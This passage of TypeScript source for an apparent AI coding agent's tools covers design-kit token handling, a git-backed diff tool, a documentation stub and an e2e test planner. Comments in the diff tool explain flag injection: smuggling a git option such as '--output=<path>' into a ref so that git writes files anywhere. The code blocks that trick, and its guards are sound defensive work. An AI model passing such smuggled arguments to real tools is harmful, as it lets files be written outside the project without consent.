faithfully to this spec. Keep light/dark, responsive, and WCAG AA.\\n';\n const tokenBlock = tokens\n ? `\\n## Token snapshot (overrides applied)\\n\\`\\`\\`json\\n${JSON.stringify(tokens, null, 2)}\\n\\`\\`\\`\\n` +\n 'Tip: run `design {action:\"materialize\"}` to write these tokens to a real theme file.\\n'\n : '';\n return {\n action,\n kit: manifest.id,\n stack: resolvedStack,\n output: `${header}${tokenBlock}\\n${body}`,\n };\n }\n\n if (action === 'set') {\n const patch = normalizeOverrides(input.set);\n if (Object.keys(patch).length === 0) {\n return { action, output: 'No overrides given. Pass set:{ \"primary\": \"oklch(\u2026)\" }.' };\n }\n const merged = await recordOverrides(ctx.projectRoot, patch, new Date().toISOString());\n if (!merged) {\n return {\n action,\n output: 'No active kit. Pick one first: `design {action:\"use\", kit:\"<id>\"}`.',\n };\n }\n setDesignOverrides(ctx, merged);\n return {\n action,\n output:\n `Overrides updated. Active overrides: ${Object.entries(merged)\n .map(([k, v]) => `${k}=${v}`)\n .join(', ')}\\n` +\n 'These win over kit tokens. Run `design {action:\"materialize\"}` to write them to a theme file.',\n };\n }\n\n if (action === 'tune') {\n const patch = resolveSemanticTune(input.tune ?? {});\n if (Object.keys(patch).length === 0) {\n return {\n action,\n output:\n 'No recognized knobs. Pass tune:{ radius:\"lg\", density:\"compact\", font:\"\u2026\", motion:\"snappy\" }.',\n };\n }\n const merged = await recordOverrides(ctx.projectRoot, patch, new Date().toISOString());\n if (!merged) {\n return {\n action,\n output: 'No active kit. Pick one first: `design {action:\"use\", kit:\"<id>\"}`.',\n };\n }\n setDesignOverrides(ctx, merged);\n return {\n action,\n output:\n `Tuned. Resolved ${Object.keys(patch).length} token override(s): ${Object.entries(patch)\n .map(([k, v]) => `${k}=${v}`)\n .join(', ')}\\n` +\n 'Run `design {action:\"materialize\"}` to write the tuned tokens to your theme file.',\n };\n }\n\n if (action === 'materialize') {\n const active = await loadActiveKit(ctx.projectRoot);\n if (!active) {\n return {\n action,\n output: 'No active kit. Pick one first: `design {action:\"use\", kit:\"<id>\"}`.',\n };\n }\n const resolvedStack: DesignStack =\n stack ?? (active.stack && isDesignStack(active.stack) ? active.stack : 'web');\n const rawTokens = await loader.readTokens(active.kit);\n if (!rawTokens) {\n return { action, kit: active.kit, output: `Kit \"${active.kit}\" has no tokens.json.` };\n }\n const tokens = applyTokenOverrides(rawTokens, active.overrides);\n const result = materializeTokens({\n tokens,\n stack: resolvedStack,\n kitId: active.kit,\n outPath: input.out,\n });\n // Containment: result.path derives from caller-supplied input.out and\n // may be either relative (joined under projectRoot) or absolute\n // (used as-is). Pin the write inside the project root, mirroring the\n // scaffold tool.\n //\n // #249 (design.ts escape check): resolve both sides through fs.realpath\n // before the relative check, so symlinks / bind mounts (e.g. /tmp on\n // CI runners is often a symlink to /private/tmp) can't smuggle an\n // out-of-root path past the prefix-startsWith-`..` guard. The\n // destination file does not exist yet, so realpath the parent\n // directory and re-join the basename.\n //\n // Note: on Windows, path.join(absoluteA, absoluteB) concatenates\n // literally (path.join('C:\\\\A\\\\B', 'C:\\\\A\\\\C.css') === 'C:\\\\A\\\\B\\\\C:\\\\A\\\\C.css')\n // rather than collapsing absoluteB onto the drive root. Treating\n // absolute result.path as absolute (not as a join-input) keeps the\n // behavior consistent across platforms and is what the test asserts.\n const root = await resolveReal(ctx.projectRoot);\n const absResolved = path.isAbsolute(result.path)\n ? path.resolve(result.path)\n : path.resolve(path.join(ctx.projectRoot, result.path));\n const absParent = await resolveReal(path.dirname(absResolved));\n const abs = path.join(absParent, path.basename(absResolved));\n const rel = path.relative(root, abs);\n if (rel.startsWith('..') || path.isAbsolute(rel)) {\n throw new Error(\n `design: materialize path \"${result.path}\" would escape the project root`,\n );\n }\n let exists = false;\n try {\n await fs.access(abs);\n exists = true;\n } catch {\n // does not exist \u2014 safe to write\n }\n if (exists && !input.force) {\n return {\n action,\n kit: active.kit,\n stack: resolvedStack,\n path: result.path,\n output:\n `${result.path} already exists. Re-run with force:true to overwrite, or write this ` +\n `${result.format} yourself:\\n\\n\\`\\`\\`\\n${result.content}\\n\\`\\`\\``,\n };\n }\n await fs.mkdir(path.dirname(abs), { recursive: true });\n await fs.writeFile(abs, result.content);\n return {\n action,\n kit: active.kit,\n stack: resolvedStack,\n path: result.path,\n output:\n `Wrote ${result.format} to ${result.path}. Import these tokens in your UI so the kit ` +\n `palette is the source of truth. ${exists ? '(overwrote existing file)' : ''}`,\n };\n }\n\n if (action === 'verify') {\n const active = await loadActiveKit(ctx.projectRoot);\n if (!active) {\n return {\n action,\n output: 'No active kit to verify against. Pick one: `design {action:\"use\", kit:\"<id>\"}`.',\n };\n }\n const rawTokens = await loader.readTokens(active.kit);\n if (!rawTokens) {\n return { action, kit: active.kit, output: `Kit \"${active.kit}\" has no tokens.json.` };\n }\n const tokens = applyTokenOverrides(rawTokens, active.overrides);\n const report = await runDesignVerify(ctx.projectRoot, tokens, input.files);\n const pct = Math.round(report.score * 100);\n const top = report.violations\n .slice(0, 25)\n .map((v) => ` ${v.file}:${v.line} \u2014 ${v.reason}: ${v.snippet}`)\n .join('\\n');\n const summary =\n `Adherence: ${pct}% on-palette across ${report.filesScanned} file(s). ` +\n `${report.violations.length} violation(s).` +\n (report.violations.length\n ? `\\n${top}${report.violations.length > 25 ? `\\n \u2026and ${report.violations.length - 25} more` : ''}` +\n `\\n\\nReplace off-palette colors with kit tokens (or the materialized CSS vars / token utilities).`\n : '\\nNo off-palette colors found \u2014 UI adheres to the kit palette.');\n return {\n action,\n kit: active.kit,\n output: summary,\n score: report.score,\n violations: report.violations.length,\n };\n }\n\n // Default: list\n const menu = await loader.menuText();\n return {\n action: 'list',\n output:\n (menu || 'No design kits are installed.') +\n '\\n\\nLoad one with `design {action:\"use\", kit:\"<id>\", stack:\"<stack>\"}`.',\n };\n },\n};\n", "import { spawn } from 'node:child_process';\nimport { statSync } from 'node:fs';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport type { Tool } from '@wrongstack/core/types';\nimport { safeResolve } from './_util.js';\n\ninterface DiffInput {\n path?: string | undefined;\n files?: string | string[] | undefined;\n a?: string | undefined;\n b?: string | undefined;\n staged?: boolean | undefined;\n mode?: 'unified' | 'side-by-side' | 'stat' | undefined;\n context?: number | undefined;\n}\n\ninterface DiffOutput {\n diff: string;\n files: string[];\n truncated: boolean;\n mode: string;\n}\n\nexport const diffTool: Tool<DiffInput, DiffOutput> = {\n name: 'diff',\n category: 'Filesystem',\n description:\n 'Show file content with line numbers, staged/working-tree diffs via git, or commit/branch diffs. A safer and more structured alternative to raw `git diff` via shell.',\n usageHint:\n 'USE FOR CODE REVIEW AND CHANGE INSPECTION:\\n\\n' +\n '- `files` + no `a`/`b` \u2192 show file content with line numbers (NOT a unified diff; no +/- prefixes).\\n' +\n '- `a` and/or `b` \u2192 git-style commit/branch diff (unified format, real +/- prefixes).\\n' +\n '- `staged: true` \u2192 only show staged changes.\\n' +\n '- `mode` can be \"unified\", \"stat\", or \"side-by-side\" (only affects the git-diff path).\\n' +\n '\\n' +\n 'NOTE: For a true file-vs-file unified diff, supply `a` and `b` so the tool ' +\n 'delegates to `git diff`. The `files`-only path is a line-numbered dump, not a diff.\\n' +\n '\\n' +\n 'This tool has important safety guards against flag injection (see previous security findings).',\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n icon: 'diff',\n timeoutMs: 10_000,\n inputSchema: {\n type: 'object',\n properties: {\n path: {\n type: 'string',\n description: 'Working directory for the diff operation (defaults to project root).',\n },\n files: {\n type: 'string',\n description: 'Files or globs to diff (e.g. \"src/**/*.ts\" or comma-separated list).',\n },\n a: {\n type: 'string',\n description: 'First ref/commit/branch for git diff (e.g. HEAD, main, a commit hash).',\n },\n b: {\n type: 'string',\n description: 'Second ref/commit/branch for git diff.',\n },\n staged: {\n type: 'boolean',\n description: 'If true, only show changes that are staged in git.',\n },\n mode: {\n type: 'string',\n enum: ['unified', 'side-by-side', 'stat'],\n description: 'Output format. \"unified\" is default, \"stat\" shows summary only.',\n },\n context: {\n type: 'integer',\n description: 'Number of context lines for unified diffs (default: 3).',\n },\n },\n },\n async execute(input, ctx, opts) {\n if (input.a !== undefined || input.b !== undefined) {\n return await gitDiff(input, ctx, opts.signal);\n }\n\n return await fileDiff(input, ctx, opts.signal);\n },\n};\n\nasync function gitDiff(\n input: DiffInput,\n ctx: import('@wrongstack/core/agent').Context,\n signal: AbortSignal,\n): Promise<DiffOutput> {\n // Flag injection: a/b are passed as positional args BEFORE the `--`\n // separator, so a leading '-' would be parsed as a git option. The most\n // dangerous is `--output=<path>`, which makes `git diff` write to an\n // arbitrary path (outside the project root, with no confirmation since this\n // tool is permission:'auto'). Reject leading-dash refs unconditionally \u2014\n // mirrors the guard in git.ts (validateWorktreeInput) and install.ts.\n if (input.a?.startsWith('-')) {\n throw new Error(`diff: unsafe ref \"${input.a}\" \u2014 refs may not begin with '-' (flag injection)`);\n }\n if (input.b?.startsWith('-')) {\n throw new Error(`diff: unsafe ref \"${input.b}\" \u2014 refs may not begin with '-' (flag injection)`);\n }\n\n const gitDir = findGitDir(ctx.cwd);\n if (!gitDir) {\n return { diff: '', files: [], truncated: false, mode: 'unified' };\n }\n\n const args: string[] = ['diff', '--no-color'];\n if (input.staged) args.push('--staged');\n if (input.a) args.push(input.a);\n if (input.b) args.push(input.b);\n if (input.files) {\n const files = Array.isArray(input.files) ? input.files : input.files.split(',');\n args.push('--', ...files.map((f) => f.trim()));\n }\n\n const result = await runGit(args, gitDir, signal);\n return {\n diff: result.stdout,\n files: [],\n truncated: result.stdout.length > 100_000,\n mode: 'unified',\n };\n}\n\nfunction findGitDir(cwd: string): string | null {\n let dir = cwd;\n for (let i = 0; i < 20; i++) {\n try {\n const stat = statSync(path.join(dir, '.git'));\n if (stat.isDirectory()) return dir;\n } catch {\n // continue\n }\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n return null;\n}\n\nfunction runGit(\n args: string[],\n cwd: string,\n signal: AbortSignal,\n): Promise<{ stdout: string; stderr: string; exitCode: number }> {\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n\n const child = spawn('git', args, {\n cwd,\n signal,\n env: buildChildEnv(),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n });\n child.stdout?.on('data', (c) => {\n stdout += c.toString();\n });\n child.stderr?.on('data', (c) => {\n stderr += c.toString();\n });\n child.on('close', (code) => resolve({ stdout, stderr, exitCode: code ?? 0 }));\n /* v8 ignore next -- spawn 'error' only fires when the git binary is missing; defensive. */\n child.on('error', (e) => resolve({ stdout: '', stderr: e.message, exitCode: 1 }));\n });\n}\n\nasync function fileDiff(\n input: DiffInput,\n ctx: import('@wrongstack/core/agent').Context,\n _signal: AbortSignal,\n): Promise<DiffOutput> {\n // `context` is accepted on the input schema for API stability but is\n // unused in the line-dump path \u2014 there is no notion of \"context lines\"\n // when there is no real diff. The git-diff path (`a`/`b`) ignores it too.\n void input.context;\n\n const files = input.files\n ? (Array.isArray(input.files) ? input.files : input.files.split(','))\n .map((f) => f.trim())\n .filter(Boolean)\n : [];\n\n if (files.length === 0) {\n return {\n diff: 'No files specified',\n files: [],\n truncated: false,\n mode: input.mode ?? 'unified',\n };\n }\n\n const results: string[] = [];\n\n for (const file of files) {\n const absPath = safeResolve(file, ctx);\n const stat = await fs.stat(absPath).catch(() => null);\n if (!stat?.isFile()) continue;\n\n const content = await fs.readFile(absPath, 'utf8');\n const lines = content.split(/\\r?\\n/);\n results.push(formatWithLineNumbers(file, lines));\n }\n\n return {\n diff: results.join('\\n\\n'),\n files,\n truncated: false,\n mode: input.mode ?? 'unified',\n };\n}\n\n/**\n * Render a file's content as a line-numbered dump. This is intentionally\n * NOT a unified diff \u2014 it has no `-`/`+` prefixes. For a real diff\n * between two revisions, use the `a`/`b` params (delegates to `git diff`).\n *\n * Format: ` N | content` with the line number right-aligned. The\n * `context` parameter is accepted for API compatibility but unused \u2014\n * a line dump has no notion of \"context lines\".\n */\nfunction formatWithLineNumbers(file: string, lines: string[]): string {\n const width = String(lines.length).length;\n const numbered = lines.map((line, i) => `${String(i + 1).padStart(width)} | ${line}`).join('\\n');\n return `--- ${file} (line-numbered dump, not a unified diff) ---\\n${numbered}`;\n}\n", "import * as fs from 'node:fs/promises';\nimport type { Tool } from '@wrongstack/core/types';\nimport { safeResolve } from './_util.js';\n\ninterface DocumentInput {\n target: 'file' | 'function' | 'class' | 'type' | 'all';\n path?: string | undefined;\n files?: string | string[] | undefined;\n style?: 'jsdoc' | 'tsdoc' | 'block' | undefined;\n overwrite?: boolean | undefined;\n cwd?: string | undefined;\n}\n\ninterface DocumentedItem {\n path: string;\n name: string;\n signature: string;\n docstring: string;\n status: 'documented' | 'skipped' | 'error';\n error?: string | undefined;\n}\n\ninterface DocumentOutput {\n files_processed: number;\n items_documented: number;\n results: DocumentedItem[];\n style: string;\n}\n\nexport const documentTool: Tool<DocumentInput, DocumentOutput> = {\n name: 'document',\n category: 'Project',\n description:\n 'DEPRECATED \u2014 use the `auto_doc` tool with `dryRun: true` instead. ' +\n 'This tool is a read-only preview stub that returns `skipped` candidates without generating real docstrings.',\n usageHint:\n 'Deprecated: prefer `auto_doc` with `dryRun: true` for previewing, or `auto_doc` without dryRun for writing. ' +\n 'This tool only lists undocumented symbols with placeholder comments \u2014 it does not generate real JSDoc/TSDoc.',\n permission: 'auto',\n mutating: false,\n timeoutMs: 30_000,\n capabilities: ['fs.read'],\n icon: 'document',\n inputSchema: {\n type: 'object',\n properties: {\n target: {\n type: 'string',\n enum: ['file', 'function', 'class', 'type', 'all'],\n description: 'What to document',\n },\n path: {\n type: 'string',\n description: 'Specific file path to document',\n },\n files: {\n type: 'string',\n description: 'File(s) to process: single path, comma-separated list, or glob',\n },\n style: {\n type: 'string',\n enum: ['jsdoc', 'tsdoc', 'block'],\n description: 'Documentation style (default: jsdoc)',\n },\n\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n },\n },\n async execute(input, ctx) {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const style = input.style ?? 'jsdoc';\n const results: DocumentedItem[] = [];\n let filesProcessed = 0;\n let itemsDocumented = 0;\n\n const fileList = input.files\n ? await resolveFiles(Array.isArray(input.files) ? input.files.join(',') : input.files, cwd)\n : input.path\n ? [safeResolve(input.path, ctx)]\n : [];\n\n for (const absPath of fileList) {\n try {\n const content = await fs.readFile(absPath, 'utf8');\n filesProcessed++;\n const processed = processFile(\n content,\n absPath,\n style,\n input.overwrite ?? false,\n input.target ?? 'all',\n );\n results.push(...processed);\n itemsDocumented += processed.filter((r) => r.status === 'documented').length;\n } catch (e) {\n results.push({\n path: absPath,\n name: absPath.split('/').pop() ?? absPath,\n signature: '',\n docstring: '',\n status: 'error',\n error: e instanceof Error ? e.message : String(e),\n });\n }\n }\n\n return {\n files_processed: filesProcessed,\n items_documented: itemsDocumented,\n results,\n style,\n };\n },\n};\n\nasync function resolveFiles(filesInput: string, cwd: string): Promise<string[]> {\n const files = Array.isArray(filesInput) ? filesInput : filesInput.split(',');\n const resolved: string[] = [];\n\n for (const f of files) {\n const absPath = f.trim().startsWith('/') ? f.trim() : `${cwd}/${f.trim()}`;\n try {\n const stat = await fs.stat(absPath);\n if (stat.isFile()) resolved.push(absPath);\n } catch {\n // skip\n }\n }\n\n return resolved;\n}\n\nfunction processFile(\n content: string,\n absPath: string,\n _style: string,\n _overwrite: boolean,\n target: string,\n): DocumentedItem[] {\n const results: DocumentedItem[] = [];\n // These must be global \u2014 `String.prototype.matchAll` throws on a non-global\n // RegExp, which previously made processFile throw and report every file as an\n // error instead of returning documentation candidates.\n const functionRegex = /(?:async\\s+)?function\\s+(\\w+)\\s*\\(([^)]*)\\)/g;\n const arrowRegex = /(?:const|let|var)\\s+(\\w+)\\s*=\\s*(?:async\\s+)?\\(([^)]*)\\)\\s*=>/g;\n const classRegex = /class\\s+(\\w+)/g;\n const typeRegex = /(?:type|interface)\\s+(\\w+)\\s*[=<]/g;\n\n const allMatches: { name: string; sig: string; type: string; line: number }[] = [];\n\n if (target === 'all' || target === 'function') {\n for (const m of content.matchAll(functionRegex)) {\n /* v8 ignore next -- capture group (\\w+) is mandatory, so m[1] is always defined; defensive. */\n if (!m[1]) continue;\n allMatches.push({\n name: m[1],\n sig: m[2] ?? '',\n type: 'function',\n line: content.slice(0, m.index).split('\\n').length,\n });\n }\n for (const m of content.matchAll(arrowRegex)) {\n /* v8 ignore next -- capture group (\\w+) is mandatory, so m[1] is always defined; defensive. */\n if (!m[1]) continue;\n allMatches.push({\n name: m[1],\n sig: m[2] ?? '',\n type: 'arrow',\n line: content.slice(0, m.index).split('\\n').length,\n });\n }\n }\n\n if (target === 'all' || target === 'class') {\n for (const m of content.matchAll(classRegex)) {\n /* v8 ignore next -- capture group (\\w+) is mandatory, so m[1] is always defined; defensive. */\n if (!m[1]) continue;\n allMatches.push({\n name: m[1],\n sig: '',\n type: 'class',\n line: content.slice(0, m.index).split('\\n').length,\n });\n }\n }\n\n if (target === 'all' || target === 'type') {\n for (const m of content.matchAll(typeRegex)) {\n /* v8 ignore next -- capture group (\\w+) is mandatory, so m[1] is always defined; defensive. */\n if (!m[1]) continue;\n allMatches.push({\n name: m[1],\n sig: m[0] ?? '',\n type: 'type',\n line: content.slice(0, m.index).split('\\n').length,\n });\n }\n }\n\n for (const m of allMatches) {\n results.push({\n path: absPath,\n name: m.name,\n signature: m.sig,\n docstring: `/** ${m.name} - documented at line ${m.line} */`,\n status: 'skipped',\n });\n }\n\n return results;\n}\n", "import { open, readdir } from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { Tool } from '@wrongstack/core/types';\nimport { safeResolveReal } from './_util.js';\n\nexport type E2EFramework = 'playwright' | 'cypress';\nexport type E2EPackageManager = 'pnpm' | 'npm' | 'yarn' | 'bun';\n\ninterface E2EPlanInput {\n cwd?: string | undefined;\n framework?: E2EFramework | 'all' | undefined;\n maxDepth?: number | undefined;\n includeSpecs?: boolean | undefined;\n}\n\nexport interface E2EServerHint {\n kind: 'managed' | 'attach';\n command?: string | undefined;\n url?: string | undefined;\n port?: number | undefined;\n source: 'static-config';\n incomplete: boolean;\n}\n\nexport interface E2EExecutionPlan {\n command: string;\n args: string[];\n cwd: string;\n source: 'package-script' | 'framework-default';\n script?: string | undefined;\n}\n\nexport interface E2EProjectPlan {\n framework: E2EFramework;\n root: string;\n configPath?: string | undefined;\n packagePath?: string | undefined;\n packageManager: E2EPackageManager;\n evidence: string[];\n scripts: string[];\n serverHints: E2EServerHint[];\n specPattern: string;\n specCount: number;\n specSamples: string[];\n specsTruncated: boolean;\n execution: E2EExecutionPlan;\n warnings: string[];\n}\n\nexport interface E2EPlanOutput {\n root: string;\n projects: E2EProjectPlan[];\n scannedDirectories: number;\n scanTruncated: boolean;\n warnings: string[];\n}\n\ninterface ScanResult {\n configs: Array<{ framework: E2EFramework; absolutePath: string }>;\n packageFiles: string[];\n scannedDirectories: number;\n truncated: boolean;\n}\n\ninterface PackageInfo {\n path: string;\n scripts: Record<string, string>;\n dependencies: Set<string>;\n packageManager?: E2EPackageManager | undefined;\n}\n\nasync function readBoundedText(filePath: string, maxBytes: number): Promise<string | undefined> {\n let handle;\n try {\n handle = await open(filePath, 'r');\n const info = await handle.stat();\n if (!info.isFile() || info.size > maxBytes) return undefined;\n const buffer = Buffer.alloc(info.size);\n const { bytesRead } = await handle.read(buffer, 0, buffer.length, 0);\n return buffer.subarray(0, bytesRead).toString('utf8');\n } catch {\n return undefined;\n } finally {\n await handle?.close().catch(() => undefined);\n }\n}\n\nconst CONFIG_NAMES = new Map<string, E2EFramework>([\n ['playwright.config.ts', 'playwright'],\n ['playwright.config.js', 'playwright'],\n ['playwright.config.mts', 'playwright'],\n ['playwright.config.mjs', 'playwright'],\n ['playwright.config.cts', 'playwright'],\n ['playwright.config.cjs', 'playwright'],\n ['cypress.config.ts', 'cypress'],\n ['cypress.config.js', 'cypress'],\n ['cypress.config.mts', 'cypress'],\n ['cypress.config.mjs', 'cypress'],\n ['cypress.config.cts', 'cypress'],\n ['cypress.config.cjs', 'cypress'],\n ['cypress.json', 'cypress'],\n]);\n\nconst SKIP_DIRECTORIES = new Set([\n '.git',\n '.hg',\n '.svn',\n '.wrongstack',\n 'node_modules',\n 'dist',\n 'build',\n 'coverage',\n 'coverage-html',\n 'playwright-report',\n 'test-results',\n '.next',\n]);\n\nconst MAX_SCAN_DIRECTORIES = 4_000;\nconst MAX_PACKAGE_BYTES = 512 * 1024;\nconst MAX_CONFIG_BYTES = 512 * 1024;\nconst MAX_SPEC_SAMPLES = 20;\n\nfunction relativePath(root: string, target: string): string {\n const value = path.relative(root, target) || '.';\n return value.split(path.sep).join('/');\n}\n\nfunction escapeRegExp(value: string): string {\n return value.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n\nfunction staticString(source: string, property: string): string | undefined {\n const key = escapeRegExp(property);\n const direct = source.match(\n new RegExp(`(?:['\"]?${key}['\"]?)\\\\s*:\\\\s*(['\"\\\\x60])([^'\"\\\\x60\\\\r\\\\n]*)\\\\1`),\n );\n if (direct?.[2] && !direct[2].includes('${')) return direct[2];\n\n const sameLineFallback = source.match(\n new RegExp(`(?:['\"]?${key}['\"]?)\\\\s*:[^\\\\r\\\\n]{0,300}?(['\"\\\\x60])([^'\"\\\\x60\\\\r\\\\n]*)\\\\1`),\n );\n return sameLineFallback?.[2] && !sameLineFallback[2].includes('${')\n ? sameLineFallback[2]\n : undefined;\n}\n\nfunction staticNumber(source: string, property: string): number | undefined {\n const key = escapeRegExp(property);\n const match = source.match(new RegExp(`(?:['\"]?${key}['\"]?)\\\\s*:\\\\s*(\\\\d{2,5})\\\\b`));\n return match?.[1] ? Number.parseInt(match[1], 10) : undefined;\n}\n\nfunction serverHints(framework: E2EFramework, source: string): E2EServerHint[] {\n if (framework === 'playwright' && /\\bwebServer\\s*:/.test(source)) {\n const command = staticString(source, 'command');\n const url = staticString(source, 'url');\n const port = staticNumber(source, 'port');\n return [\n {\n kind: 'managed',\n ...(command ? { command } : {}),\n ...(url ? { url } : {}),\n ...(port ? { port } : {}),\n source: 'static-config',\n incomplete: !command || (!url && !port),\n },\n ];\n }\n\n const baseUrl = staticString(source, 'baseURL') ?? staticString(source, 'baseUrl');\n return baseUrl\n ? [{ kind: 'attach', url: baseUrl, source: 'static-config', incomplete: false }]\n : [];\n}\n\nfunction configuredSpecPattern(framework: E2EFramework, source: string): string {\n if (framework === 'playwright') {\n const testDir = staticString(source, 'testDir') ?? './tests';\n return `${testDir.replace(/\\/$/, '')}/**/*.{spec,test}.{js,jsx,ts,tsx,mjs,cjs}`;\n }\n return (\n staticString(source, 'specPattern') ??\n 'cypress/{e2e,integration}/**/*.cy.{js,jsx,ts,tsx,mjs,cjs}'\n );\n}\n\nasync function scanWorkspace(\n root: string,\n maxDepth: number,\n signal: AbortSignal,\n): Promise<ScanResult> {\n const result: ScanResult = {\n configs: [],\n packageFiles: [],\n scannedDirectories: 0,\n truncated: false,\n };\n const queue: Array<{ directory: string; depth: number }> = [{ directory: root, depth: 0 }];\n\n while (queue.length > 0) {\n signal.throwIfAborted();\n const current = queue.shift();\n if (!current) break;\n result.scannedDirectories += 1;\n if (result.scannedDirectories > MAX_SCAN_DIRECTORIES) {\n result.truncated = true;\n break;\n }\n\n let entries;\n try {\n entries = await readdir(current.directory, { withFileTypes: true });\n } catch {\n continue;\n }\n\n for (const entry of entries) {\n signal.throwIfAborted();\n const absolutePath = path.join(current.directory, entry.name);\n if (entry.isFile()) {\n if (entry.name === 'package.json') result.packageFiles.push(absolutePath);\n const framework = CONFIG_NAMES.get(entry.name);\n if (framework) result.configs.push({ framework, absolutePath });\n } else if (\n entry.isDirectory() &&\n current.depth < maxDepth &&\n !SKIP_DIRECTORIES.has(entry.name) &&\n !entry.name.startsWith('coverage-') &&\n !entry.name.startsWith('cov-')\n ) {\n queue.push({ directory: absolutePath, depth: current.depth + 1 });\n }\n }\n }\n\n return result;\n}\n\nasync function readPackageInfo(packagePath: string): Promise<PackageInfo | undefined> {\n try {\n const raw = await readBoundedText(packagePath, MAX_PACKAGE_BYTES);\n if (raw === undefined) return undefined;\n const parsed = JSON.parse(raw) as Record<string, unknown>;\n const scripts =\n parsed.scripts && typeof parsed.scripts === 'object'\n ? Object.fromEntries(\n Object.entries(parsed.scripts as Record<string, unknown>).filter(\n (entry): entry is [string, string] => typeof entry[1] === 'string',\n ),\n )\n : {};\n const dependencies = new Set<string>();\n for (const field of ['dependencies', 'devDependencies', 'optionalDependencies']) {\n const value = parsed[field];\n if (!value || typeof value !== 'object') continue;\n for (const name of Object.keys(value as Record<string, unknown>)) dependencies.add(name);\n }\n const declared =\n typeof parsed.packageManager === 'string' ? (parsed.packageManager.split('@')[0] ?? '') : '';\n const packageManager = ['pnpm', 'npm', 'yarn', 'bun'].includes(declared)\n ? (declared as E2EPackageManager)\n : undefined;\n return { path: packagePath, scripts, dependencies, packageManager };\n } catch {\n return undefined;\n }\n}\n\nfunction frameworkFromPackage(info: PackageInfo): E2EFramework[] {\n const found = new Set<E2EFramework>();\n if (info.dependencies.has('@playwright/test') || info.dependencies.has('playwright')) {\n found.add('playwright');\n }\n if (info.dependencies.has('cypress')) found.add('cypress');\n for (const command of Object.values(info.scripts)) {\n if (/\\bplaywright(?:\\.cmd)?\\b/i.test(command)) found.add('playwright');\n if (/\\bcypress(?:\\.cmd)?\\b/i.test(command)) found.add('cypress');\n }\n return [...found];\n}\n\nasync function detectPackageManager(\n projectRoot: string,\n scanRoot: string,\n declared?: E2EPackageManager,\n): Promise<E2EPackageManager> {\n if (declared) return declared;\n let directory = projectRoot;\n while (true) {\n const names = new Set<string>();\n try {\n for (const entry of await readdir(directory)) names.add(entry);\n } catch {\n // Continue toward the scan root.\n }\n if (names.has('pnpm-lock.yaml')) return 'pnpm';\n if (names.has('yarn.lock')) return 'yarn';\n if (names.has('bun.lock') || names.has('bun.lockb')) return 'bun';\n if (names.has('package-lock.json') || names.has('npm-shrinkwrap.json')) return 'npm';\n if (directory === scanRoot) break;\n const parent = path.dirname(directory);\n const relativeParent = path.relative(scanRoot, parent);\n if (\n parent === directory ||\n relativeParent.startsWith('..') ||\n path.isAbsolute(relativeParent)\n ) {\n break;\n }\n directory = parent;\n }\n return 'npm';\n}\n\nfunction matchingScripts(info: PackageInfo | undefined, framework: E2EFramework): string[] {\n if (!info) return [];\n const matcher =\n framework === 'playwright' ? /\\bplaywright(?:\\.cmd)?\\b/i : /\\bcypress(?:\\.cmd)?\\b/i;\n return Object.entries(info.scripts)\n .filter(([, command]) => matcher.test(command))\n .map(([name]) => name)\n .sort((a, b) => {\n const preferred = ['test:e2e', 'e2e', 'e2e:test'];\n const ai = preferred.indexOf(a);\n const bi = preferred.indexOf(b);\n if (ai !== -1 || bi !== -1) return (ai === -1 ? 99 : ai) - (bi === -1 ? 99 : bi);\n return a.localeCompare(b);\n });\n}\n\nfunction executionPlan(\n framework: E2EFramework,\n manager: E2EPackageManager,\n root: string,\n configPath: string | undefined,\n scripts: string[],\n): E2EExecutionPlan {\n const script = scripts[0];\n if (script) {\n return {\n command: manager,\n args: ['run', script],\n cwd: root,\n source: 'package-script',\n script,\n };\n }\n\n const runnerArgs = framework === 'playwright' ? ['playwright', 'test'] : ['cypress', 'run'];\n if (configPath) {\n runnerArgs.push(framework === 'playwright' ? '--config' : '--config-file', configPath);\n }\n return {\n command: manager === 'bun' ? 'bunx' : manager,\n args:\n manager === 'bun'\n ? runnerArgs\n : manager === 'npm'\n ? ['exec', '--', ...runnerArgs]\n : ['exec', ...runnerArgs],\n cwd: root,\n source: 'framework-default',\n };\n}\n\nfunction isSpec(framework: E2EFramework, filename: string): boolean {\n if (framework === 'cypress') return /\\.cy\\.(?:[cm]?[jt]sx?)$/i.test(filename);\n return /\\.(?:spec|test)\\.(?:[cm]?[jt]sx?)$/i.test(filename);\n}\n\nasync function collectSpecs(\n root: string,\n framework: E2EFramework,\n testDirectory: string | undefined,\n signal: AbortSignal,\n): Promise<{ count: number; samples: string[]; truncated: boolean }> {\n const roots = testDirectory\n ? [path.resolve(root, testDirectory)]\n : framework === 'cypress'\n ? [path.join(root, 'cypress', 'e2e'), path.join(root, 'cypress', 'integration')]\n : [path.join(root, 'tests')];\n const samples: string[] = [];\n let count = 0;\n let scanned = 0;\n const queue = [...roots];\n\n while (queue.length > 0) {\n signal.throwIfAborted();\n const directory = queue.shift();\n if (!directory) break;\n scanned += 1;\n if (scanned > MAX_SCAN_DIRECTORIES) return { count, samples, truncated: true };\n let entries;\n try {\n entries = await readdir(directory, { withFileTypes: true });\n } catch {\n continue;\n }\n for (const entry of entries) {\n signal.throwIfAborted();\n const target = path.join(directory, entry.name);\n if (entry.isDirectory() && !SKIP_DIRECTORIES.has(entry.name)) queue.push(target);\n else if (entry.isFile() && isSpec(framework, entry.name)) {\n count += 1;\n if (samples.length < MAX_SPEC_SAMPLES) samples.push(relativePath(root, target));\n }\n }\n }\n return { count, samples, truncated: count > samples.length };\n}\n\nasync function readConfig(configPath: string | undefined): Promise<string> {\n if (!configPath) return '';\n return (await readBoundedText(configPath, MAX_CONFIG_BYTES)) ?? '';\n}\n\nfunction nearestPackage(\n projectRoot: string,\n packagesByDirectory: Map<string, PackageInfo>,\n scanRoot: string,\n): PackageInfo | undefined {\n let directory = projectRoot;\n while (true) {\n const found = packagesByDirectory.get(directory);\n if (found) return found;\n if (directory === scanRoot) return undefined;\n const parent = path.dirname(directory);\n if (parent === directory || 